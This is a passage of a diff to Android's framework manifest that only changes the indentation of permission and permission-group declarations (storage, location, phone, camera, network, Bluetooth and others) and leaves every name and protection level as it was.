-                      android:priority="900" />
+        android:icon="@drawable/perm_group_storage"
+        android:label="@string/permgrouplab_storage"
+        android:description="@string/permgroupdesc_storage"
+        android:priority="900" />
 
     <!-- Allows an application to read from external storage.
      <p>Any app that declares the {@link #WRITE_EXTERNAL_STORAGE} permission is implicitly
@@ -717,10 +717,10 @@
      <p>Protection level: dangerous
      -->
     <permission android:name="android.permission.READ_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardRead"
-                android:description="@string/permdesc_sdcardRead"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardRead"
+        android:description="@string/permdesc_sdcardRead"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write to external storage.
          <p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -738,10 +738,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
-                android:permissionGroup="android.permission-group.STORAGE"
-                android:label="@string/permlab_sdcardWrite"
-                android:description="@string/permdesc_sdcardWrite"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.STORAGE"
+        android:label="@string/permlab_sdcardWrite"
+        android:description="@string/permdesc_sdcardWrite"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device location                          -->
@@ -750,30 +750,30 @@
 
     <!-- Used for permissions that allow accessing the device location. -->
     <permission-group android:name="android.permission-group.LOCATION"
-                      android:icon="@drawable/perm_group_location"
-                      android:label="@string/permgrouplab_location"
-                      android:description="@string/permgroupdesc_location"
-                      android:priority="400" />
+        android:icon="@drawable/perm_group_location"
+        android:label="@string/permgrouplab_location"
+        android:description="@string/permgroupdesc_location"
+        android:priority="400" />
 
     <!-- Allows an app to access precise location.
          Alternatively, you might want {@link #ACCESS_COARSE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_FINE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessFineLocation"
-                android:description="@string/permdesc_accessFineLocation"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessFineLocation"
+        android:description="@string/permdesc_accessFineLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an app to access approximate location.
          Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_COARSE_LOCATION"
-                android:permissionGroup="android.permission-group.LOCATION"
-                android:label="@string/permlab_accessCoarseLocation"
-                android:description="@string/permdesc_accessCoarseLocation"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:label="@string/permlab_accessCoarseLocation"
+        android:description="@string/permdesc_accessCoarseLocation"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device telephony                         -->
@@ -782,10 +782,10 @@
 
     <!-- Used for permissions that are associated telephony features. -->
     <permission-group android:name="android.permission-group.PHONE"
-                      android:icon="@drawable/perm_group_phone_calls"
-                      android:label="@string/permgrouplab_phone"
-                      android:description="@string/permgroupdesc_phone"
-                      android:priority="500" />
+        android:icon="@drawable/perm_group_phone_calls"
+        android:label="@string/permgrouplab_phone"
+        android:description="@string/permgroupdesc_phone"
+        android:priority="500" />
 
     <!-- Allows read only access to phone state, including the phone number of the device,
          current cellular network information, the status of any ongoing calls, and a list of any
@@ -801,30 +801,30 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_PHONE_STATE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readPhoneState"
-                android:description="@string/permdesc_readPhoneState"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneState"
+        android:description="@string/permdesc_readPhoneState"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
          granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
          <p>Protection level: dangerous-->
     <permission android:name="android.permission.READ_PHONE_NUMBERS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readPhoneNumbers"
-                android:description="@string/permdesc_readPhoneNumbers"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readPhoneNumbers"
+        android:description="@string/permdesc_readPhoneNumbers"
+        android:protectionLevel="dangerous|ephemeral" />
 
     <!-- Allows an application to initiate a phone call without going through
         the Dialer user interface for the user to confirm the call.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CALL_PHONE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:permissionFlags="costsMoney"
-                android:label="@string/permlab_callPhone"
-                android:description="@string/permdesc_callPhone"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:permissionFlags="costsMoney"
+        android:label="@string/permlab_callPhone"
+        android:description="@string/permdesc_callPhone"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to access the IMS call service: making and
          modifying a call
@@ -832,10 +832,10 @@
         @hide
     -->
     <permission android:name="android.permission.ACCESS_IMS_CALL_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_accessImsCallService"
-                android:description="@string/permdesc_accessImsCallService"
-                android:protectionLevel="signature|privileged" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_accessImsCallService"
+        android:description="@string/permdesc_accessImsCallService"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
@@ -850,10 +850,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_readCallLog"
-                android:description="@string/permdesc_readCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_readCallLog"
+        android:description="@string/permdesc_readCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write (but not read) the user's
          call log data.
@@ -869,28 +869,28 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALL_LOG"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_writeCallLog"
-                android:description="@string/permdesc_writeCallLog"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_writeCallLog"
+        android:description="@string/permdesc_writeCallLog"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to add voicemails into the system.
          <p>Protection level: dangerous
     -->
     <permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_addVoicemail"
-                android:description="@string/permdesc_addVoicemail"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_addVoicemail"
+        android:description="@string/permdesc_addVoicemail"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to use SIP service.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.USE_SIP"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:description="@string/permdesc_use_sip"
-                android:label="@string/permlab_use_sip"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:description="@string/permdesc_use_sip"
+        android:label="@string/permlab_use_sip"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to see the number being dialed during an outgoing
          call with the option to redirect the call to a different number or
@@ -898,20 +898,20 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_processOutgoingCalls"
-                android:description="@string/permdesc_processOutgoingCalls"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_processOutgoingCalls"
+        android:description="@string/permdesc_processOutgoingCalls"
+        android:protectionLevel="dangerous" />
 
 
     <!-- Allows the app to answer an incoming phone call.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ANSWER_PHONE_CALLS"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:label="@string/permlab_answerPhoneCalls"
-                android:description="@string/permdesc_answerPhoneCalls"
-                android:protectionLevel="dangerous|runtime" />
+        android:permissionGroup="android.permission-group.PHONE"
+        android:label="@string/permlab_answerPhoneCalls"
+        android:description="@string/permdesc_answerPhoneCalls"
+        android:protectionLevel="dangerous|runtime" />
 
     <!-- Allows a calling application which manages it own calls through the self-managed
          {@link android.telecom.ConnectionService} APIs.  See
@@ -933,19 +933,19 @@
          microphone audio from the device. Note that phone calls also capture audio
          but are in a separate (more visible) permission group. -->
     <permission-group android:name="android.permission-group.MICROPHONE"
-                      android:icon="@drawable/perm_group_microphone"
-                      android:label="@string/permgrouplab_microphone"
-                      android:description="@string/permgroupdesc_microphone"
-                      android:priority="600" />
+        android:icon="@drawable/perm_group_microphone"
+        android:label="@string/permgrouplab_microphone"
+        android:description="@string/permgroupdesc_microphone"
+        android:priority="600" />
 
     <!-- Allows an application to record audio.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECORD_AUDIO"
-                android:permissionGroup="android.permission-group.MICROPHONE"
-                android:label="@string/permlab_recordAudio"
-                android:description="@string/permdesc_recordAudio"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:label="@string/permlab_recordAudio"
+        android:description="@string/permdesc_recordAudio"
+        android:protectionLevel="dangerous"/>
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the UCE Service                              -->
@@ -955,15 +955,15 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
-                android:permissionGroup="android.permission-group.PHONE"
-                android:protectionLevel="signatureOrSystem"/>
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="signatureOrSystem"/>
 
 
 
@@ -975,10 +975,10 @@
     <!-- Used for permissions that are associated with accessing
      camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.CAMERA"
-                      android:icon="@drawable/perm_group_camera"
-                      android:label="@string/permgrouplab_camera"
-                      android:description="@string/permgroupdesc_camera"
-                      android:priority="700" />
+        android:icon="@drawable/perm_group_camera"
+        android:label="@string/permgrouplab_camera"
+        android:description="@string/permgroupdesc_camera"
+        android:priority="700" />
 
     <!-- Required to be able to access the camera device.
          <p>This will automatically enforce the <a
@@ -990,10 +990,10 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CAMERA"
-                android:permissionGroup="android.permission-group.CAMERA"
-                android:label="@string/permlab_camera"
-                android:description="@string/permdesc_camera"
-                android:protectionLevel="dangerous|ephemeral" />
+        android:permissionGroup="android.permission-group.CAMERA"
+        android:label="@string/permlab_camera"
+        android:description="@string/permdesc_camera"
+        android:protectionLevel="dangerous|ephemeral" />
 
 
     <!-- ====================================================================== -->
@@ -1004,28 +1004,28 @@
     <!-- Used for permissions that are associated with accessing
          camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.SENSORS"
-                      android:icon="@drawable/perm_group_sensors"
-                      android:label="@string/permgrouplab_sensors"
-                      android:description="@string/permgroupdesc_sensors"
-                      android:priority="800" />
+        android:icon="@drawable/perm_group_sensors"
+        android:label="@string/permgrouplab_sensors"
+        android:description="@string/permgroupdesc_sensors"
+        android:priority="800" />
 
     <!-- Allows an application to access data from sensors that the user uses to
          measure what is happening inside his/her body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_bodySensors"
-                android:description="@string/permdesc_bodySensors"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_bodySensors"
+        android:description="@string/permdesc_bodySensors"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an app to use fingerprint hardware.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.USE_FINGERPRINT"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_useFingerprint"
-                android:description="@string/permdesc_useFingerprint"
-                android:protectionLevel="normal" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_useFingerprint"
+        android:description="@string/permdesc_useFingerprint"
+        android:protectionLevel="normal" />
 
     <!-- ====================================================================== -->
     <!-- REMOVED PERMISSIONS                                                    -->
@@ -1033,78 +1033,78 @@
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SMS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.MANAGE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.USE_CREDENTIALS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.FLASHLIGHT"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- ====================================================================== -->
     <!-- INSTALL PERMISSIONS                                                    -->
@@ -1119,37 +1119,37 @@
          to handle the respond-via-message action during incoming calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to send SMS to premium shortcodes without user permission.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SEND_SMS_NO_CONFIRMATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to filter carrier specific sms.
          @hide -->
     <permission android:name="android.permission.CARRIER_FILTER_SMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to receive emergency cell broadcast messages,
          to record or display them to the user.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.RECEIVE_EMERGENCY_BROADCAST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to monitor incoming Bluetooth MAP messages, to record
          or perform processing on them. -->
     <!-- @hide -->
     <permission android:name="android.permission.RECEIVE_BLUETOOTH_MAP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to execute contacts directory search.
          This should only be used by ContactsProvider.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
          <p>Not for use by third-party applications. -->
@@ -1165,9 +1165,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.alarm.permission.SET_ALARM"
-                android:label="@string/permlab_setAlarm"
-                android:description="@string/permdesc_setAlarm"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setAlarm"
+        android:description="@string/permdesc_setAlarm"
+        android:protectionLevel="normal" />
 
     <!-- =============================================================== -->
     <!-- Permissions for accessing the user voicemail                    -->
@@ -1178,13 +1178,13 @@
         <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read voicemails in the system.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing location info -->
@@ -1195,26 +1195,26 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
-                android:label="@string/permlab_accessLocationExtraCommands"
-                android:description="@string/permdesc_accessLocationExtraCommands"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_accessLocationExtraCommands"
+        android:description="@string/permdesc_accessLocationExtraCommands"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install a location provider into the Location Manager.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
     -->
     <permission android:name="android.permission.HDMI_CEC"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use location features in hardware,
          such as the geofencing api.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.LOCATION_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
 
     <!-- @SystemApi Allows an application to create mock location providers for testing.
@@ -1222,7 +1222,7 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_MOCK_LOCATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing networks -->
@@ -1233,86 +1233,86 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.INTERNET"
-                android:description="@string/permdesc_createNetworkSockets"
-                android:label="@string/permlab_createNetworkSockets"
-                android:protectionLevel="normal|ephemeral" />
+        android:description="@string/permdesc_createNetworkSockets"
+        android:label="@string/permlab_createNetworkSockets"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about networks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NETWORK_STATE"
-                android:description="@string/permdesc_accessNetworkState"
-                android:label="@string/permlab_accessNetworkState"
-                android:protectionLevel="normal|ephemeral" />
+        android:description="@string/permdesc_accessNetworkState"
+        android:label="@string/permlab_accessNetworkState"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about Wi-Fi networks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_WIFI_STATE"
-                android:description="@string/permdesc_accessWifiState"
-                android:label="@string/permlab_accessWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWifiState"
+        android:label="@string/permlab_accessWifiState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to change Wi-Fi connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_STATE"
-                android:description="@string/permdesc_changeWifiState"
-                android:label="@string/permlab_changeWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiState"
+        android:label="@string/permlab_changeWifiState"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_WIFI_CREDENTIAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows applications to change tether state and run
          tether carrier provisioning.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.TETHER_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allow system apps to receive broadcast
          when a wifi network credential is changed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.RECEIVE_WIFI_CREDENTIAL_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify any wifi configuration, even if created
      by another application. Once reconfigured the original creator cannot make any further
      modifications.
      <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.ACCESS_WIMAX_STATE"
-                android:description="@string/permdesc_accessWimaxState"
-                android:label="@string/permlab_accessWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWimaxState"
+        android:label="@string/permlab_accessWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- @hide -->
     <permission android:name="android.permission.CHANGE_WIMAX_STATE"
-                android:description="@string/permdesc_changeWimaxState"
-                android:label="@string/permlab_changeWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWimaxState"
+        android:label="@string/permlab_changeWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to act as network scorers. @hide @SystemApi-->
     <permission android:name="android.permission.SCORE_NETWORKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to request network
          recommendations and scores from the NetworkScoreService.
          <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.REQUEST_NETWORK_SCORES"
-                android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup" />
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
          @hide This should only be used by Connectivity and Wifi Services.
     -->
     <permission android:name="android.permission.NETWORK_STACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
@@ -1330,73 +1330,73 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH"
-                android:description="@string/permdesc_bluetooth"
-                android:label="@string/permlab_bluetooth"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetooth"
+        android:label="@string/permlab_bluetooth"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH_ADMIN"
-                android:description="@string/permdesc_bluetoothAdmin"
-                android:label="@string/permlab_bluetoothAdmin"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetoothAdmin"
+        android:label="@string/permlab_bluetoothAdmin"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows applications to pair bluetooth devices without user interaction, and to
          allow or disallow phonebook access or message access.
          This is not available to third party applications. -->
     <permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Control access to email providers exclusively for Bluetooth
          @hide
     -->
     <permission android:name="android.permission.BLUETOOTH_MAP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows bluetooth stack to access files
          @hide This should only be used by Bluetooth apk.
     -->
     <permission android:name="android.permission.BLUETOOTH_STACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows applications to perform I/O operations over NFC.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.NFC"
-                android:description="@string/permdesc_nfc"
-                android:label="@string/permlab_nfc"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_nfc"
+        android:label="@string/permlab_nfc"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_INTERNAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an internal user to use restricted Networks.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a system application to access hardware packet offload capabilities.
          @hide -->
     <permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          @hide -->
     <permission android:name="android.permission.RECEIVE_DATA_ACTIVITY_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to the loop radio (Android@Home mesh network) device.
          @hide -->
     <permission android:name="android.permission.LOOP_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending and receiving handover transfer status from Wifi and Bluetooth
          @hide -->
     <permission android:name="android.permission.NFC_HANDOVER_STATUS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing accounts -->
@@ -1415,16 +1415,16 @@
     <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.GET_ACCOUNTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:protectionLevel="dangerous"
-                android:description="@string/permdesc_getAccounts"
-                android:label="@string/permlab_getAccounts" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:protectionLevel="dangerous"
+        android:description="@string/permdesc_getAccounts"
+        android:label="@string/permlab_getAccounts" />
     <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
 
     <!-- @SystemApi Allows applications to call into AccountAuthenticators.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCOUNT_MANAGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware that may effect battery life-->
@@ -1435,34 +1435,34 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"
-                android:description="@string/permdesc_changeWifiMulticastState"
-                android:label="@string/permlab_changeWifiMulticastState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiMulticastState"
+        android:label="@string/permlab_changeWifiMulticastState"
+        android:protectionLevel="normal" />
 
     <!-- Allows access to the vibrator.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.VIBRATE"
-                android:label="@string/permlab_vibrate"
-                android:description="@string/permdesc_vibrate"
-                android:protectionLevel="normal|ephemeral" />
